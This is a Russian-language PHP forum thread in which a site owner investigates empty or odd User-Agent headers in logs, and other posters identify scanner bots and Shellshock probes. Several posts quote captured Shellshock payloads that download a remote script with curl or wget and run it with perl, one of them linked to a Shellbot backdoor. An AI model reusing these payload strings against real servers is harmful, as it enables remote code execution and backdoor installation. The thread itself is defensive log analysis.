Гость
Целевая тема:
Создать новую тему:
Автор:
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / (php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка) / 17 сообщений из 17, страница 1 из 1
21.10.2014, 13:21
    #38782791
Cyrax_02
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Имеется некоторый сайт. На этом сайте я получаю информацию о браузере клиента так:
Код: php
1.
$browserInfo = get_browser(null, true);  // возвращается массив


Обнаружил, что при некоторых запросах от неизвестно кого, эта функция возвращает НЕ массив.
Поставил заглушку с проверкой значения $browserInfo и с выводом информации в лог. В результате в логах неоднократно стали появляться такие 2 записи:
автор[STUB] browserInfo - не массив. Request: http://site.ru/ / user agent:
[STUB] browserInfo - не массив. Request: http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25 / user agent: Т.е. в тех запросах, когда функция get_browser(null, true) возвращает НЕ массив:
а) $_SERVER['HTTP_USER_AGENT'] содержит в себе пустую строку либо null либо такого ключа в $_SERVER нет
б) запрашивается главная страница сайта либо какая-то хрень вида http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25

Вопросы:
1.Что это за запросы такие странные с пустым user agent
2.Что это за "адрес": http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25 ?


P.S. Ещё больше непоняток создаёт тот факт, что если вызывать функцию так
Код: php
1.
get_browser('', true);   // передаётся пустой user_agent

то функция по-прежнему возвращает массив (со значениями полей по умолчанию):
Код: php
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
Array
(
    [browser_name_regex] => �^.*$�
    [browser_name_pattern] => *
    [comment] => Default Browser
    [browser] => Default Browser
    [browser_type] => unknown
    [browser_bits] => 0
    [browser_maker] => unknown
    [browser_modus] => unknown
    [version] => 0.0
    [majorver] => 0
    [minorver] => 0
    [platform] => unknown
    [platform_version] => unknown
    [platform_description] => unknown
    [platform_bits] => 0
    [platform_maker] => unknown
    [alpha] => 
    [beta] => 
    [win16] => 
    [win32] => 
    [win64] => 
    [frames] => 
    [iframes] => 
    [tables] => 
    [cookies] => 
    [backgroundsounds] => 
    [javascript] => 
    [vbscript] => 
    [javaapplets] => 
    [activexcontrols] => 
    [ismobiledevice] => 
    [istablet] => 
    [issyndicationreader] => 
    [crawler] => 
    [cssversion] => 0
    [aolversion] => 0
    [device_name] => unknown
    [device_maker] => unknown
    [device_type] => unknown
    [device_pointing_method] => unknown
    [device_code_name] => unknown
    [device_brand_name] => unknown
    [renderingengine_name] => unknown
    [renderingengine_version] => unknown
    [renderingengine_description] => unknown
    [renderingengine_maker] => unknown
)


3.Тогда какого хрена в вышеуказанных случаях функция может возвращать НЕ массив ?
В штатном режиме функция get_browser работает нормально - проверял тысячу раз (файл browscap.ini имеется, путь к нему в php.ini прописан)
...
Рейтинг: 0 / 0
21.10.2014, 13:43
    #38782822
alex564657498765453
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Cyrax_02,

Request:
Ну наверно имееться ввиду поле Referer

тыцкай
и сюда

ЗЫ
наводящий вопрос для самопроверки!

1. могу ли я как мне вздумаеться выставлять значения этих заголовков.
2. чем будет отличаться страничка сайта мейл ру например если я обращусь к ней выставив рефер равное "мейл ру - идите в пень!"

:)
...
Рейтинг: 0 / 0
21.10.2014, 13:47
    #38782828
alex564657498765453
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
[STUB] browserInfo - не массив. Request: http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25 / user agent:

если сайт всётаки ломанут, напиши как они это смогли сделать...говорят хацкеры из юговосточной азии
...
Рейтинг: 0 / 0
27.10.2014, 11:53
    #38788009
Cyrax_02
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
авторRequest:
Ну наверно имееться ввиду поле RefererНет, это именно URL. Полный URL, который формируется из массива $_SERVER вот так:
http://www.sql.ru/forum/actualutils.aspx?action=gotomsg&tid=1108974&msg=16400444

В данном случае функция get_browser возвращает false и генерирует предупреждение:
PHP warning: get_browser() [<a href='function.get-browser'>function.get-browser</a>]: HTTP_USER_AGENT variable is not set, cannot determine user agent name

А массив $_SERVER в этот момент имеет такие поля (красным обозначил некорректные значения):
автор[PATH] => /usr/local/bin:/usr/bin:/bin
[FCGI_ROLE] => RESPONDER
[SERVER_SIGNATURE] => <address>Apache/2.2.16 (Debian) Server at mx0.mail2000.com.tw Port 25</address>

[SERVER_SOFTWARE] => Apache/2.2.16 (Debian)
[SERVER_NAME] => mx0.mail2000.com.tw
[SERVER_ADDR] => x.x.x.x
[SERVER_PORT] => 25
[REMOTE_ADDR] => 1.161.16.44
[DOCUMENT_ROOT] => /var/www/user/data/www/site.ru
[SERVER_ADMIN] => admin@site.ru
[SCRIPT_FILENAME] => /var/www/user/data/www/site.ru/index.php
[REMOTE_PORT] => 3522
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.0
[REQUEST_METHOD] => CONNECT
[QUERY_STRING] =>
[REQUEST_URI] => mx0.mail2000.com.tw:25
[SCRIPT_NAME] => /index.php
[HTTP_CONNECTION] => close
[PHP_SELF] => /index.php
[REQUEST_TIME] => 1414372351
[argv] => Array
(
)
[argc] => 0
[HTTP_USER_AGENT] =>
[HTTP_REFERER] => В итоге и получаем строку: [SERVER_NAME]:[SERVER_PORT][REQUEST_URI] = http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25
...
Рейтинг: 0 / 0
27.10.2014, 12:55
    #38788110
Barlone
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Cyrax_02 [SERVER_PORT] => 25
Это клево. 25 - это порт для smtp. К вам не браузером заходят, это какой-то бот ищет уязвимые сервисы...
...
Рейтинг: 0 / 0
28.10.2014, 10:43
    #38789002
Cyrax_02
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Почему у него
Код: php
1.
[REQUEST_URI] => mx0.mail2000.com.tw:25

?

Должен быть пустым...
...
Рейтинг: 0 / 0
28.10.2014, 11:44
    #38789098
Barlone
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Cyrax_02Почему у него
Код: php
1.
[REQUEST_URI] => mx0.mail2000.com.tw:25

?

Должен быть пустым...Ага, и REQUEST_METHOD = CONNECT. Ну кто-то зачем-то отправил вам строку CONNECT mx0.mail2000.com.tw:25
...
Рейтинг: 0 / 0
02.11.2014, 22:06
    #38794408
Cyrax_02
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Вот ещё один чудный $_SERVER[HTTP_USER_AGENT] =
Код: php
1.
() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl

Логично предположить, что используется утилита curl, только почему-то get_browser этот HTTP_USER_AGENT не распознал. В то же время строка HTTP_USER_AGENT , похоже, сформирована некорректно.

Впрочем, не знаю, как формируют HTTP_USER_AGENT "браузеры" с Browser_type=Library и Browser_type=Application , но в данном случае HTTP_USER_AGENT явно косячный.
...
Рейтинг: 0 / 0
02.11.2014, 23:05
    #38794429
vkle
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Cyrax_02Вот ещё один чудный $_SERVER[HTTP_USER_AGENT] =
Код: php
1.
() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl


Логично предположить, что используется утилита curl,Похоже, попытка использовать какую-то уязвимость CGI-программ.
...
Рейтинг: 0 / 0
03.11.2014, 12:03
    #38794554
Cyrax_02
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
vkleCyrax_02Вот ещё один чудный $_SERVER[HTTP_USER_AGENT] =
Код: php
1.
() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl


Логично предположить, что используется утилита curl,Похоже, попытка использовать какую-то уязвимость CGI-программ.Так как мне "выявлять" этих "хакеров" ? По наличию в HTTP_USER_AGENT url ?

В HTTP_USER_AGENT ни в каких случаях (даже для Browser_type=Library и Browser_type=Application ) url присутствовать не должен ?
...
Рейтинг: 0 / 0
03.11.2014, 19:30
    #38794816
vkle
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Cyrax_02,

В строке юзер-агента может присутствовать абсолютно всё, что угодно или может не быть ничего. Боты передают каждый свое, браузеры тоже свое, но пользователь потенциально может и поменять строку. Можете попробовать считать, что если строка не соответствует ни одному браузеру - то клиент "левый". Однако, ничто не мешает "левому" клиенту прислать вполне адекватную строку.
...
Рейтинг: 0 / 0
04.11.2014, 05:11
    #38794961
Cyrax_02
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
авторВ строке юзер-агента может присутствовать абсолютно всё, что угодно или может не быть ничего. Боты передают каждый свое, браузеры тоже свое, но пользователь потенциально может и поменять строку ... ... ... Однако, ничто не мешает "левому" клиенту прислать вполне адекватную строку. Ориентируемся на корректное значение HTTP_USER_AGENT . Т.е. считаем, что никто ничего не подделывает и при формировании HTTP_USER_AGENT придерживается существующих стандартов / соглашений / рекомендаций.

авторМожете попробовать считать, что если строка не соответствует ни одному браузеру - то клиент "левый"Неа. Так не пройдёт. В файле full_php_browscap.ini некоторые реальные браузеры могут отсутствовать. Даже в самой последней версии этого файла.
Например, Lumia 525 появился в продаже ещё в начале 2014 года, а в файле full_php_browscap.ini по состоянию на июль 2014 г. браузер для этого телефона ещё отсутствовал:
Код: php
1.
Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 525)
...
Рейтинг: 0 / 0
04.11.2014, 05:12
    #38794962
Cyrax_02
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Проверил файл full_php_browscap.ini - HTTP_USER_AGENT всё-таки может содержать url. Например:
Код: php
1.
2.
3.
4.
5.
[http://mms.revol.us/uaprofs/E1000-JV/1.0.09 UP.Browser/7.2*]
[Mozilla/5.0 (compatible; YandexZakladki/*; Dyatel; +http://yandex.com/bots)]
[http://Anonymouse.org/*]
[Mozilla/5.0 (compatible; GrapeshotCrawler/2.0; +http://www.grapeshot.co.uk/crawler.php)]
[Mozilla/5.0 (compatible; *; http://www.80legs.com/*) Gecko/*]
...
Рейтинг: 0 / 0
04.11.2014, 05:24
    #38794963
Cyrax_02
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Вот ещё один "пользователь" с hack-сигнатурами (на этот раз wget ):
автор[PATH] => /usr/local/bin:/usr/bin:/bin
[FCGI_ROLE] => RESPONDER
[REDIRECT_STATUS] => 200
[HTTP_HOST] => www.site.ru
[HTTP_USER_AGENT] => () { :;}; /bin/bash -c "cd /var/tmp ; rm -rf j* ; wget http://184.171.247.165/ji ; lwp-download http://184.171.247.165/ji ; curl -O /var/tmp/jiw http://184.171.247.165/ji ; perl /var/tmp/ji ; rm -rf *ji"
[SERVER_SIGNATURE] => <address>Apache/2.0.06 (Debian) Server at www.site.ru Port 80</address>
[SERVER_SOFTWARE] => Apache/2.0.06 (Debian)
[SERVER_NAME] => www.site.ru
[SERVER_PORT] => 80
[REMOTE_ADDR] => 80.241.209.165
[DOCUMENT_ROOT] => /var/www/user/data/www/site.ru
[SERVER_ADMIN] => admin@site.ru
[SCRIPT_FILENAME] => /var/www/user/data/www/site.ru/index.php
[REMOTE_PORT] => 44107
[REDIRECT_QUERY_STRING] => q=cgi-bin/bit.cgi
[REDIRECT_URL] => /cgi-bin/bit.cgi
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.0
[REQUEST_METHOD] => GET
[QUERY_STRING] => q=cgi-bin/bit.cgi
[REQUEST_URI] => /cgi-bin/bit.cgi
[SCRIPT_NAME] => /index.php
[HTTP_CONNECTION] => close
[PHP_SELF] => /index.php
[REQUEST_TIME] => 1415059894
[argv] => Array
(
[0] => q=cgi-bin/bit.cgi
)
[argc] => 1
[HTTP_REFERER] =>
Общее между этими двумя HTTP_USER_AGENT :
() { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl
() { :;}; /bin/bash -c "cd /var/tmp ; rm -rf j* ; wget http://184.171.247.165/ji ; lwp-download http://184.171.247.165/ji ; curl -O /var/tmp/jiw http://184.171.247.165/ji ; perl /var/tmp/ji ; rm -rf *ji"

это фрагмент () { :; в начале

Во втором случае идёт загрузка трояна Backdoor.Perl.Shellbot.s :
http://telussecuritylabs.com/threats/show/TSL20140926-02
...
Рейтинг: 0 / 0
04.11.2014, 11:41
    #38795064
vkle
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Cyrax_02, позвольте полюбопытствовать, какова цель этих исследований?
...
Рейтинг: 0 / 0
04.11.2014, 16:02
    #38795295
?
?
Гость
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Cyrax_02это фрагмент () { :; в начале https://ru.wikipedia.org/wiki/Bashdoor
...
Рейтинг: 0 / 0
04.11.2014, 19:19
    #38795512
alex564657498765453
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
Cyrax_02,

зватит мучать народ и себя.

чтоты вцепился в юзер агент

при запросе http://site.com/index.php?a=100

разница между $_SERVER['HTTP_USER_AGENT']
и $_GET['a']

первое веб сервер может отфильтровывать легко и в пхп вообще ничего не увидим - ибо это параметр хттп сообщения
второе труднее - ибо это часть параметра хттп сообщения

в ОБОИХ случаях запрашивающий - может вписать туда всё что угодно.

и да--как есть дыры в обработке значения числа а - чем пытаються воспользоваться хакеры
так и в юзер агенте, можно самому его както обрабатывать, и на основании этого хакер сможет взломать

дабы не палиться перед новичками, обычно ищут дыру так

например - для взлома если есть уязвимость1 - нужно вписать строку1

но сразу не вписывают, вписывают строку2, по которой нельзя определить что это уже взлом, но которая сможет точно также помочь обнаружить - есть уязвимость1 или нету.
...
Рейтинг: 0 / 0
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / (php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка) / 17 сообщений из 17, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]